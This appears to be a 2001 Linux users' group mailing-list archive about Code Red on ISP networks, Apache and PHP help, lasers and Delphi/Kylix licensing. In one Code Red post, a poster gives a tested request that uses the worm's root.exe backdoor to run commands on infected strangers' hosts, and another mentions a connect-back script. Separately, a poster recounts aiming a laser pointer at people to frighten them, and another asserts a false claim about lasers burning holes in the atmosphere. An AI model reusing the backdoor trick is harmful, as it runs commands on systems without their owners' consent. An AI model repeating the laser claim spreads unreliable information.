contact remote > > host." I also checked ftp, ssh, and telnet, which all worked. Only > > http access wasn't going through. > > You do realize that running a web server is against their > user policy? So I'm surprised they didn't just shut you down > when you complained. > > -- > Jon Schewe | http://mtu.net/~jpschewe > For I am convinced that neither death nor life, neither angels > nor demons, neither the present nor the future, nor any > powers, neither height nor depth, nor anything else in all > creation, will be able to separate us from the love of God that > is in Christ Jesus our Lord. - Romans 8:38-39 > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From seg at haxxed.com Thu Aug 9 14:26:22 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010808234547.A20971@real-time.com> Message-ID: <3B72E3DE.90600@haxxed.com> > > I do agree with the measures they took. At 7pm CST today, Real Time had to do > the same thing, because of the load it was putting on the routers. The packet When they complain, tell them to patch their damn IIS. ;P > storm was effecting all services at Real Time. > > I do -not- agree with how they went about it. They should have given you a heads > up on what they are doing. I posted to all Real Time clients saying we needed to > take this drastic measure to insure quality of service for everyone. Kind of the > few must suffer for the many. > > So, I disabled port 80 to all client networks. I then logged (and I'm still > logging) all the deny attempts. > > We are getting over 500 CR2 hits every 600 seconds on just 1 network alone. I am > now going through the data and punching holes into it to allow traffic to > linux/apache servers. How about writing a script that uses ngrep or tcp dump to detect which of your customers are infected by codered, and drop only those off the net somehow. (Null route? Kick if a ppp user, etc...) And if you really want to get extreme, null route outside infected servers at your border router as well. When they complain, tell them to patch their damn IIS. ;P This is starting to sound a bit like ORBS. How hard would it to be to transparent proxy HTTP and check for codered at your border router or DSL router or wherever the biggest bottleneck is... I've been meaning to play with frame redirection or whatever they're calling it now. From austad at marketwatch.com Thu Aug 9 14:28:25 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:55 2005 Subject: [TCLUG] OT -- help paint the moon Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> Unfortunately, this probably won't work. At 3 blocks, the beam on my laser point is about an inch wide. This is most likely due to changes in the air temp and index of refraction. 1 inch at 3 blocks compared to 1mm at the pointer is a big difference, it's only going to get worse at longer distances, especially to the moon. :) Maybe my laser is a piece of crap, but I have a few and they are all like that. Did you know that at 2am, if you see someone stealing a parking meter, and you put a red dot on their chest from the 23rd story of an apartment building, they get really scared and hide behind big concrete poles until they muster up enough balls to run out in the open and around the corner?? :) It's times like those where you wish you had a video camera. Jay > -----Original Message----- > From: David Dyer-Bennet [mailto:dd-b@dd-b.net] > Sent: Thursday, August 09, 2001 12:26 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] OT -- help paint the moon > > > Some people here may be interested in this Sensawonda techie > project: http://www.paintthemoon.org/ > -- > David Dyer-Bennet / Welcome to the future! / > dd-b@dd-b.net > Photos: http://dd-b.lighthunters.net/ > Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From drew at usfamily.net Thu Aug 9 08:45:01 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] OT -- help paint the moon References: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> Message-ID: <3B7293DD.BD0609EE@usfamily.net> I've seen scientists use a high powered laser to burn a hole in the atmosphere and then look through the microscope throught that hole. Since there is no atmosphere there is not light refraction, therefore they were able to see stars and planets very clearly with out any twinkle to them. "Austad, Jay" wrote: > Unfortunately, this probably won't work. At 3 blocks, the beam on my laser > point is about an inch wide. This is most likely due to changes in the air > temp and index of refraction. 1 inch at 3 blocks compared to 1mm at the > pointer is a big difference, it's only going to get worse at longer > distances, especially to the moon. :) > > Maybe my laser is a piece of crap, but I have a few and they are all like > that. Did you know that at 2am, if you see someone stealing a parking > meter, and you put a red dot on their chest from the 23rd story of an > apartment building, they get really scared and hide behind big concrete > poles until they muster up enough balls to run out in the open and around > the corner?? :) It's times like those where you wish you had a video > camera. > > Jay > > > -----Original Message----- > > From: David Dyer-Bennet [mailto:dd-b@dd-b.net] > > Sent: Thursday, August 09, 2001 12:26 PM > > To: tclug-list@mn-linux.org > > Subject: [TCLUG] OT -- help paint the moon > > > > > > Some people here may be interested in this Sensawonda techie > > project: http://www.paintthemoon.org/ > > -- > > David Dyer-Bennet / Welcome to the future! / > > dd-b@dd-b.net > > Photos: http://dd-b.lighthunters.net/ > > Book log: http://www.dd-b.net/dd-b/Ouroboros/booknotes/ > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... 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If anyone has any experice with any tools like this, id appreciate your input/advice/whatever. thanks duncan From jethro at freakzilla.com Thu Aug 9 14:53:09 2001 From: jethro at freakzilla.com (jethro@freakzilla.com) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> References: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> Message-ID: <997386789.3b72ea2593054@dragon> Hey, Quoting "Austad, Jay" : > Did you know that at 2am, if you see someone stealing a parking > meter, How does one steal a parking meter? -Yaron -- From esper at sherohman.org Thu Aug 9 14:55:52 2001 From: esper at sherohman.org (Dave Sherohman) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net>; from austad@marketwatch.com on Thu, Aug 09, 2001 at 02:28:25PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> Message-ID: <20010809145551.H15238@sherohman.org> On Thu, Aug 09, 2001 at 02:28:25PM -0500, Austad, Jay wrote: > Unfortunately, this probably won't work. At 3 blocks, the beam on my laser > point is about an inch wide. This is most likely due to changes in the air > temp and index of refraction. 1 inch at 3 blocks compared to 1mm at the > pointer is a big difference, it's only going to get worse at longer > distances, especially to the moon. :) That was my first thought when I read the idea. IME, cheapo consumer- market lasers are crap for diffusion. 1 inch at 3 blocks is actually a good deal better than mine, which can get to about half an inch from across the room. (But mine is about... oh... 6 or so years old.) -- With the arrest of Dimitry Sklyarov it has become apparent that it is not safe for non US software engineers to visit the United States. - Alan Cox "To prevent unauthorized reading..." - Adobe eBook reader license From seg at haxxed.com Thu Aug 9 14:54:42 2001 From: seg at haxxed.com (Callum Lerwick) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010809073946.B15175@candle.mn.mediaone.net> <20010809082924.687f5dbf.hick0088@tc.umn.edu> Message-ID: <3B72EA82.8060901@haxxed.com> > Anyway, here's what I've done on my own system (not on a cable modem): > > Add `.ida' to the PHP mime/type in httpd.conf > > AddType application/x-httpd-php .php .php4 .ida > > and created a file named `default.ida' that attempts to connect back to > CR2-infected systems and pop up a warning with the `net send' command. > > Of course, I have no way to test it. > > http://www.tc.umn.edu/~hick0088/files/defaultida.txt It won't work. I've tried it. Apache sees the garbage that is the virus body, and responds with a Bad Request error, and won't even touch any CGI you try and get it to run. What you need to do is make a daemon that watches apache's logfiles for codered hits and responds in whatever way you'd like. From austad at marketwatch.com Thu Aug 9 15:03:14 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] php development tools Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD61@mspexch2.office.mktw.net> There is a php module for dreamweaver. I can't find it right now, but if you sign up for the php users list at php.net and ask there, someone there will surely be able to point you to it. jay > -----Original Message----- > From: duncan@sodatrain.com [mailto:duncan@sodatrain.com] > Sent: Thursday, August 09, 2001 2:02 PM > To: tclug-list@mn-linux.org > Subject: [TCLUG] php development tools > > > Hello- > > Im looking to do some website in a consultancy sort of way, > and am looking > for a tool that will assist me (ala dreamweaver) and is php > friendly. > There seem to be plugins for php with Macromedia UltraDev. I > also came > accrost something called CodeCharge (php.org) which of couse > is comercial. > Im not about to try and put together a few comercial sites in > emacs, and > want something like this to help out. > > If anyone has any experice with any tools like this, id > appreciate your > input/advice/whatever. > > thanks > duncan > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From tanner at real-time.com Thu Aug 9 15:04:40 2001 From: tanner at real-time.com (Bob Tanner) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] MAPS offline for sure Message-ID: <20010809150440.B31382@real-time.com> Well, MAPS is for sure offline today for Real Time. I got over 140Mb of RSS SPAM today. :-( Just sucks.... -- Bob Tanner | Phone : (952)943-8700 http://www.mn-linux.org | Fax : (952)943-8500 Key fingerprint = 6C E9 51 4F D5 3E 4C 66 62 A9 10 E5 35 85 39 D9 From veldy at veldy.net Thu Aug 9 15:07:39 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010809073612.A15175@candle.mn.mediaone.net> <005801c120d5$437d1bc0$3028680a@tgt.com> <20010809090118.A2453@candle.mn.mediaone.net> <009a01c120de$ed5f5140$3028680a@tgt.com> <20010809100103.C2453@candle.mn.mediaone.net> Message-ID: <001401c1210e$f1e37900$3028680a@tgt.com> > > Common knowledge isn't fact. Isn't it common knowledge that you get > cramps if you swim after eating? Inbreeding is common in Arkansas? > Free software is the same as Open Source? There is a lot of common > knowledge that is absolutely false. This is one of them. > > AT&T should have sent you a new agreement when they bought out MediaOne. > If you haven't been a customer since the buyout... don't make me flame > you. I said I wasn't a customer since the buyout. I was a MediaOne oneway customer. I have followed it closely, and I have known, and still know that AT&T does not officially allow servers. Call and ask them. Flame away -- you are good at it. I certainly won't argue with you anymore about this. Tom Veldhouse veldy@veldy.net > > Nate From veldy at veldy.net Thu Aug 9 15:09:54 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: Message-ID: <002301c1210f$42649a80$3028680a@tgt.com> It is implicit accepted upon your use of the service. Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Brian" To: Sent: Thursday, August 09, 2001 10:29 AM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > On Thu, 9 Aug 2001, Nate Carlson wrote: > > > > > Did you sign up online, or call them? > > > > If you signed up online, was there that little text that says "You agree > > to follow all policies', yada yada yada? > > I called them. Scheduled installation, they installed, it worked, no AUP > anywhere. > > -Brian > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From austad at marketwatch.com Thu Aug 9 15:10:45 2001 From: austad at marketwatch.com (Austad, Jay) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] OT -- help paint the moon Message-ID: <54180709DD3FE145917BB165AFE7EFA0BCDD62@mspexch2.office.mktw.net> > > Did you know that at 2am, if you see someone stealing a > parking meter, > > How does one steal a parking meter? I assume they hit it with the bumper of their car to loosen it up and then just pulled it out of the ground. There were 3 of them, and they ran into the alley thing by the Firstar building and started beating it against the wall to break it open. Their friend was waiting in his car by the bus stop a half block away. I put the pointer on one of them, and two of em took off around the corner and jumped on a bus, and the other one hid behind a cement pole while his friend in the car left him. I put the dot on the wall next to him, and he finally mustered up the balls to make a run for it. They came back 4 different times to get it, and each time I put the laser on one of them and scared the crap out of them. Then I went to bed and it was gone the next morning. You wouldn't believe the stuff you see at night in downtown st. paul. The people doing sketchy things always run for their lives when you put the laser dot on them. As long as you don't put it in their eyes, they can't tell where it comes from. :) > > -Yaron > > -- > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-> linux.org/mailman/listinfo/tclug-list > From veldy at veldy.net Thu Aug 9 15:11:03 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] AT&T/Mediaone does it again? References: <200108090410.XAA26748@zjod.net> <20010809073946.B15175@candle.mn.mediaone.net> <20010809082924.687f5dbf.hick0088@tc.umn.edu> <3B72EA82.8060901@haxxed.com> Message-ID: <002e01c1210f$6b975370$3028680a@tgt.com> You could write an Apache module :) Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Callum Lerwick" To: Sent: Thursday, August 09, 2001 2:54 PM Subject: Re: [TCLUG] AT&T/Mediaone does it again? > > Anyway, here's what I've done on my own system (not on a cable modem): > > > > Add `.ida' to the PHP mime/type in httpd.conf > > > > AddType application/x-httpd-php .php .php4 .ida > > > > and created a file named `default.ida' that attempts to connect back to > > CR2-infected systems and pop up a warning with the `net send' command. > > > > Of course, I have no way to test it. > > > > http://www.tc.umn.edu/~hick0088/files/defaultida.txt > > It won't work. I've tried it. Apache sees the garbage that is the virus > body, and responds with a Bad Request error, and won't even touch any > CGI you try and get it to run. > > What you need to do is make a daemon that watches apache's logfiles for > codered hits and responds in whatever way you'd like. > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From list at slushpupie.com Thu Aug 9 15:12:04 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] apache startup problems Message-ID: My apache config (httpd.conf) has gotten too big with all the virtual host files, so I decided to put them in a separate file, and put the line Include conf/vhosts.conf at the end. I did this, and now I cannot start apache. When I try, I get the error: ./bin/apachectl start: httpd could not be started and returns with exit status 1. There is no error in any log files, and running apachectl configtest says the syntax is ok. I tried to comment out the Include line, then cat vhosts.conf >> httpd.conf but that dosnt change anything. Any other ideas? Has anyone seen this before? Jay -- Jay Kline list@slushpupie.com http://www.slushpupie.com/ From veldy at veldy.net Thu Aug 9 15:24:07 2001 From: veldy at veldy.net (Thomas T. Veldhouse) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] apache startup problems References: Message-ID: <000c01c12111$3ec93960$3028680a@tgt.com> Use quotes: Include "conf/vhosts.conf" Better yet, use the full path: Include "/usr/local/apache/conf/vhosts.conf" Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Jay Kline" To: "tclug" Sent: Thursday, August 09, 2001 3:12 PM Subject: [TCLUG] apache startup problems > My apache config (httpd.conf) has gotten too big with all the virtual host files, > so I decided to put them in a separate file, and put the line > > Include conf/vhosts.conf > > at the end. I did this, and now I cannot start apache. When I try, I get the > error: > > ./bin/apachectl start: httpd could not be started > > and returns with exit status 1. There is no error in any log files, and running > apachectl configtest says the syntax is ok. I tried to comment out the Include > line, then cat vhosts.conf >> httpd.conf but that dosnt change anything. Any > other ideas? Has anyone seen this before? > > Jay > > -- > Jay Kline > list@slushpupie.com > http://www.slushpupie.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From zibby+tclug at ringworld.org Thu Aug 9 15:30:41 2001 From: zibby+tclug at ringworld.org (Andy Zbikowski (Zibby)) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <002e01c1210f$6b975370$3028680a@tgt.com> Message-ID: On Thu, 9 Aug 2001, Thomas T. Veldhouse wrote: > You could write an Apache module :) You wouldn't even need to write a module. It wouldn't be a hard perl or python program to write. Watch access.log, when you get a default.ida request throw up a http request like this: http://infected.host.com/scripts/root.exe?/c+start%%20http://www.clean-host.net/codered-warning.html (See http://www.stone.nu/projects/python_scripts/code_red_warn.py.gz for a manual python example. I created a slightly more informative page... http://hyperdrive.geekapt.homeip.net/codered.html) I tested it and it worked. I instantly got about 50 hits to my Code Red warning page. I was amused. If only I knew my NT command line better...but why would I want to. It is NT after all.... If I knew perl better I'd be tempted to do it. Hell, I'm tempted to learn more perl so I could do it. :) Andrew S. Zbikowski | http://www.ringworld.org "We can learn much more from wise words, little from wisecracks and less from wise guys." --William Arthur Ward From list at slushpupie.com Thu Aug 9 15:33:12 2001 From: list at slushpupie.com (Jay Kline) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] apache startup problems In-Reply-To: <000c01c12111$3ec93960$3028680a@tgt.com> Message-ID: That still doesn't change anything. I am not even sure what the error is... it doesn't tell me much. Jay -----Original Message----- From: tclug-list-admin@mn-linux.org [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Thomas T. Veldhouse Sent: Thursday, August 09, 2001 3:24 PM To: tclug-list@mn-linux.org Subject: Re: [TCLUG] apache startup problems Use quotes: Include "conf/vhosts.conf" Better yet, use the full path: Include "/usr/local/apache/conf/vhosts.conf" Tom Veldhouse veldy@veldy.net ----- Original Message ----- From: "Jay Kline" To: "tclug" Sent: Thursday, August 09, 2001 3:12 PM Subject: [TCLUG] apache startup problems > My apache config (httpd.conf) has gotten too big with all the virtual host files, > so I decided to put them in a separate file, and put the line > > Include conf/vhosts.conf > > at the end. I did this, and now I cannot start apache. When I try, I get the > error: > > ./bin/apachectl start: httpd could not be started > > and returns with exit status 1. There is no error in any log files, and running > apachectl configtest says the syntax is ok. I tried to comment out the Include > line, then cat vhosts.conf >> httpd.conf but that dosnt change anything. Any > other ideas? Has anyone seen this before? > > Jay > > -- > Jay Kline > list@slushpupie.com > http://www.slushpupie.com/ > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > _______________________________________________ tclug-list mailing list tclug-list@mn-linux.org https://mailman.mn-linux.org/mailman/listinfo/tclug-list From florin at iucha.net Thu Aug 9 15:35:53 2001 From: florin at iucha.net (Florin Iucha) Date: Mon Jan 17 13:25:56 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <997386789.3b72ea2593054@dragon>; from jethro@freakzilla.com on Thu, Aug 09, 2001 at 02:53:09PM -0500 References: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> <997386789.3b72ea2593054@dragon> Message-ID: <20010809153553.A27920@beaver.iucha.org> On Thu, Aug 09, 2001 at 02:53:09PM -0500, jethro@freakzilla.com wrote: > Hey, > > Quoting "Austad, Jay" : > > > Did you know that at 2am, if you see someone stealing a parking > > meter, > > How does one steal a parking meter? Look for "Cool Hand Luke" with Paul Newman at Blockbuster. florin -- "If it's not broken, is because you are not fixing it enough." 41A9 2BDE 8E11 F1C5 87A6 03EE 34B3 E075 3B90 DFE4 From sraun at fireopal.org Thu Aug 9 15:35:40 2001 From: sraun at fireopal.org (Scott Raun) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <3B7293DD.BD0609EE@usfamily.net> References: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> <3B7293DD.BD0609EE@usfamily.net> Message-ID: <20010809153540.A14635@iaxs.net> On Thu, Aug 09, 2001 at 02:45:01PM +0100, Andrew Nemchenko wrote: > I've seen scientists use a high powered laser to burn a hole in the > atmosphere and then look through the microscope throught that > hole. Since there is no atmosphere there is not light refraction, > therefore they were able to see stars and planets very clearly with > out any twinkle to them. That's not what they're doing - see http://antwrp.gsfc.nasa.gov/apod/ap010425.html (the NASA Astronomy Picture of the day for 25 April 2001) for a neat related picture. Basically, they know what the laser should look like in the atmosphere, and they can use adaptive optics to make the laser look "right", thereby eliminating (or at least reducing) the atmospheric blurring. -- Scott Raun sraun@fireopal.org From nate at techie.com Thu Aug 9 15:52:22 2001 From: nate at techie.com (Nate Straz) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <3B72EA82.8060901@haxxed.com>; from seg@haxxed.com on Thu, Aug 09, 2001 at 02:54:42PM -0500 References: <200108090410.XAA26748@zjod.net> <20010809073946.B15175@candle.mn.mediaone.net> <20010809082924.687f5dbf.hick0088@tc.umn.edu> <3B72EA82.8060901@haxxed.com> Message-ID: <20010809155221.A17338@candle.mn.mediaone.net> On Thu, Aug 09, 2001 at 02:54:42PM -0500, Callum Lerwick wrote: > It won't work. I've tried it. Apache sees the garbage that is the virus > body, and responds with a Bad Request error, and won't even touch any > CGI you try and get it to run. I hacked Zope to accept these out-of-spec requests. It was a REALLY EASY hack. In zope/ZServer/medusa/http_server.py, look for the line: REQUEST = re.compile ('([^ ]+) (?:[^ :?#]+://[^ ?#/]*)?([^ ]+)(( HTTP/([0-9.]+))$|$)') and change it to: REQUEST = re.compile ('([^ ]+) (?:[^ :?#]+://[^ ?#/]*)?([^ ]+)(([ ]+HTTP/([0-9.]+))$|$)') *fanfare* Now Zope accepts Code Red. Nate From drew at usfamily.net Thu Aug 9 10:00:32 2001 From: drew at usfamily.net (Andrew Nemchenko) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] OT -- help paint the moon References: <54180709DD3FE145917BB165AFE7EFA0BCDD60@mspexch2.office.mktw.net> <3B7293DD.BD0609EE@usfamily.net> <20010809153540.A14635@iaxs.net> Message-ID: <3B72A590.1BAA1F20@usfamily.net> No this is completly diffent the link you sent explains that they use a laser to create an artificial dot in the sky and then they measure the distortion in the atmosphere and use a flexible mirror to compensate for this distorion, with the compensation the stars apper more clearly. What I saw was completely different, they basically used a giant green colored laser to burn a hole in the atmosphere, then for a very shor amount of time they were able to take pictures through that hole with no distortion. These are two different thngs. Scott Raun wrote: > On Thu, Aug 09, 2001 at 02:45:01PM +0100, Andrew Nemchenko wrote: > > > I've seen scientists use a high powered laser to burn a hole in the > > atmosphere and then look through the microscope throught that > > hole. Since there is no atmosphere there is not light refraction, > > therefore they were able to see stars and planets very clearly with > > out any twinkle to them. > > That's not what they're doing - see > http://antwrp.gsfc.nasa.gov/apod/ap010425.html (the NASA Astronomy > Picture of the day for 25 April 2001) for a neat related picture. > Basically, they know what the laser should look like in the > atmosphere, and they can use adaptive optics to make the laser look > "right", thereby eliminating (or at least reducing) the atmospheric > blurring. > > -- > Scott Raun > sraun@fireopal.org > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list ------ http://USFamily.Net/info - Unlimited Internet - From $8.99/mo! ------ -------------- next part -------------- A non-text attachment was scrubbed... Name: drew.vcf Type: text/x-vcard Size: 265 bytes Desc: Card for Andrew Nemchenko Url : http://shadowknight.real-time.com/pipermail/tclug-list/attachments/20010809/6fbf6657/drew.vcf From bexley at daily.umn.edu Thu Aug 9 16:16:59 2001 From: bexley at daily.umn.edu (Benjamin Exley) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] OT -- help paint the moon In-Reply-To: <3B7293DD.BD0609EE@usfamily.net> Message-ID: <3B72B77B.27617.DA279B@localhost> On 9 Aug 2001, at 14:45, Andrew Nemchenko wrote: > I've seen scientists use a high powered laser to burn a hole in the atmosphere > and then look through the microscope throught that hole. Since there is no > atmosphere there is not light refraction, therefore they were able to see stars > and planets very clearly with out any twinkle to them. Are you sure that this is what's going on? "Burning" the atmosphere doesn't create a vacuum. I think what you may be thinking of is what is called active optics. This is used at many of the more recent observatories. Scientists shine a laser in to the sky and see how the atmosphere effects it. Then, the hundreds of small motors move small parts reflecting surface inside the telescope to take atmospheric disturbances in to account. This allows images to be much more clearly focused. That's what I think anyway. Ben ----------- Benjamin Exley President The Minnesota Daily bexley@mndaily.com (612)627-4070 x3030 From sraun at fireopal.org Thu Aug 9 17:02:07 2001 From: sraun at fireopal.org (Scott Raun) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] OT -- help paint the moon Message-ID: <20010809170206.A15378@iaxs.net> On Thu, Aug 09, 2001 at 04:00:32PM +0100, Andrew Nemchenko wrote: > No this is completly diffent the link you sent explains that they use a > laser to create an artificial dot in the sky and then they measure the > distortion in the atmosphere and use a flexible mirror to compensate for > this distorion, with the compensation the stars apper more clearly. What > I saw was completely different, they basically used a giant green colored > laser to burn a hole in the atmosphere, then for a very shor amount of > time they were able to take pictures through that hole with no > distortion. These are two different thngs. I'm going to take significant convincing to believe this one - do you have a reference on it? The period of time that a lightning strike makes a vacuum is going to be roughly analogous to this - your looking at a tenth of a second AT MOST! And the Hubble can't get a usable image that fast. I find it very difficult to believe that they get enough light down this little narrow pipe (it can't be more than inches across, and you usually measure professional telescopes in FEET!) -- Scott Raun sraun@fireopal.org From dante at plethora.net Thu Aug 9 17:32:38 2001 From: dante at plethora.net (Daniel Taylor) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] AT&T/Mediaone does it again? In-Reply-To: <002301c1210f$42649a80$3028680a@tgt.com> Message-ID: The AT&T/Mediaone/RR AUP does(did?) not disallow servers, nor does it reference other documents that do. AT&T@Home may be an entirely different story. Dan On Thu, 9 Aug 2001, Thomas T. Veldhouse wrote: > It is implicit accepted upon your use of the service. > > Tom Veldhouse > veldy@veldy.net > > ----- Original Message ----- > From: "Brian" > To: > Sent: Thursday, August 09, 2001 10:29 AM > Subject: Re: [TCLUG] AT&T/Mediaone does it again? > > > > On Thu, 9 Aug 2001, Nate Carlson wrote: > > > > > > > > Did you sign up online, or call them? > > > > > > If you signed up online, was there that little text that says "You agree > > > to follow all policies', yada yada yada? > > > > I called them. Scheduled installation, they installed, it worked, no AUP > > anywhere. > > > > -Brian > > > > > > _______________________________________________ > > tclug-list mailing list > > tclug-list@mn-linux.org > > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > > > > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list > From labmat at mn.mediaone.net Thu Aug 9 16:32:33 2001 From: labmat at mn.mediaone.net (Matthew LaBerge) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] Dead computer In-Reply-To: Message-ID: <200108092228.f79MSwa22294@mnmai05.mn.mediaone.net> On 09 Aug 2001 10:15:59 -0500, Colin Kilbane wrote: >If ATX you need a functioning mb to get a responce. You can get an ATX power supply to turn on without hooking it up to a motherboard. All you need to do is short the green wire to any black wire in the molex connector. This can be done with a paper clip or wire you have lying around. Matthew LaBerge labmat@mn.mediaone.net From markt at logicworksinc.com Thu Aug 9 17:30:33 2001 From: markt at logicworksinc.com (Mark Theiste) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: <20010809083629.A15238@sherohman.org> Message-ID: > Good points and entirely correct. > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Dave Sherohman > Sent: Thursday, August 09, 2001 8:36 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Kylix: Linux-->Windows Porting.sdm > > > On Wed, Aug 08, 2001 at 08:50:19PM -0500, Mark Theiste wrote: > > Dave, > > > > > > The Windows version (Delphi) and the Linux version (Kylix) use > > > different > > > > libraries. Windows uses VCL (Visual Component Libraries), Linux > > > uses CLX, > > > > Windows uses *.dll runtime libraries, Linux uses *.so runtime > > > libraries. > > > > These libraries are simply the precoded tools that allow your > > > program to > > > > I think I know what you mean but I would like to clarify your statment. > > Count the >s. I didn't say that, I quoted it from the message I was > responding to. > > -- > With the arrest of Dimitry Sklyarov it has become apparent that it is not > safe for non US software engineers to visit the United States. - Alan Cox > "To prevent unauthorized reading..." - Adobe eBook reader license > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From markt at logicworksinc.com Thu Aug 9 17:59:04 2001 From: markt at logicworksinc.com (Mark Theiste) Date: Mon Jan 17 13:25:57 2005 Subject: [TCLUG] Kylix: Linux-->Windows Porting.sdm In-Reply-To: <01080910161204.00666@192.168.0.7> Message-ID: Delphi Personal Edition doesn't include CLX. Both the Professional and Enterprise versions include CLX, and that would be the normal way to obtain CLX in Delphi. Here is current pricing http://shop.borland.com/Category/0,1257,3-15-983,00.html. You can upgrade to Pro for $399. Also if you want to order from us we will discount the price further. Have you checked out FreeCLX http://sourceforge.net/projects/freeclx? It is just for GPL. Generally speaking it should compile on Windows, but I've not tried that. -Mark > -----Original Message----- > From: tclug-list-admin@mn-linux.org > [mailto:tclug-list-admin@mn-linux.org]On Behalf Of Brian Carter-Stiglitz > Sent: Thursday, August 09, 2001 10:16 AM > To: tclug-list@mn-linux.org > Subject: Re: [TCLUG] Kylix: Linux-->Windows Porting.sdm > > > this is probably a bit off topic but here goes. > > the delphi 6.0 personal edition does not come with the clx libs. > does this > mean that the only way to get the clx libraries on a windows > machine is to > buy the $1000 plus delphi 6.0? > > bc-s > > On Thursday 09 August 2001 08:36 am, you wrote: > > On Wed, Aug 08, 2001 at 08:50:19PM -0500, Mark Theiste wrote: > > > Dave, > > > > > > > > The Windows version (Delphi) and the Linux version (Kylix) use > > > > > > > > different > > > > > > > > > libraries. Windows uses VCL (Visual Component Libraries), Linux > > > > > > > > uses CLX, > > > > > > > > > Windows uses *.dll runtime libraries, Linux uses *.so runtime > > > > > > > > libraries. > > > > > > > > > These libraries are simply the precoded tools that allow your > > > > > > > > program to > > > > > > I think I know what you mean but I would like to clarify your > statment. > > > > Count the >s. I didn't say that, I quoted it from the message I was > > responding to. > _______________________________________________ > tclug-list mailing list > tclug-list@mn-linux.org > https://mailman.mn-linux.org/mailman/listinfo/tclug-list From jack at jacku.com Thu 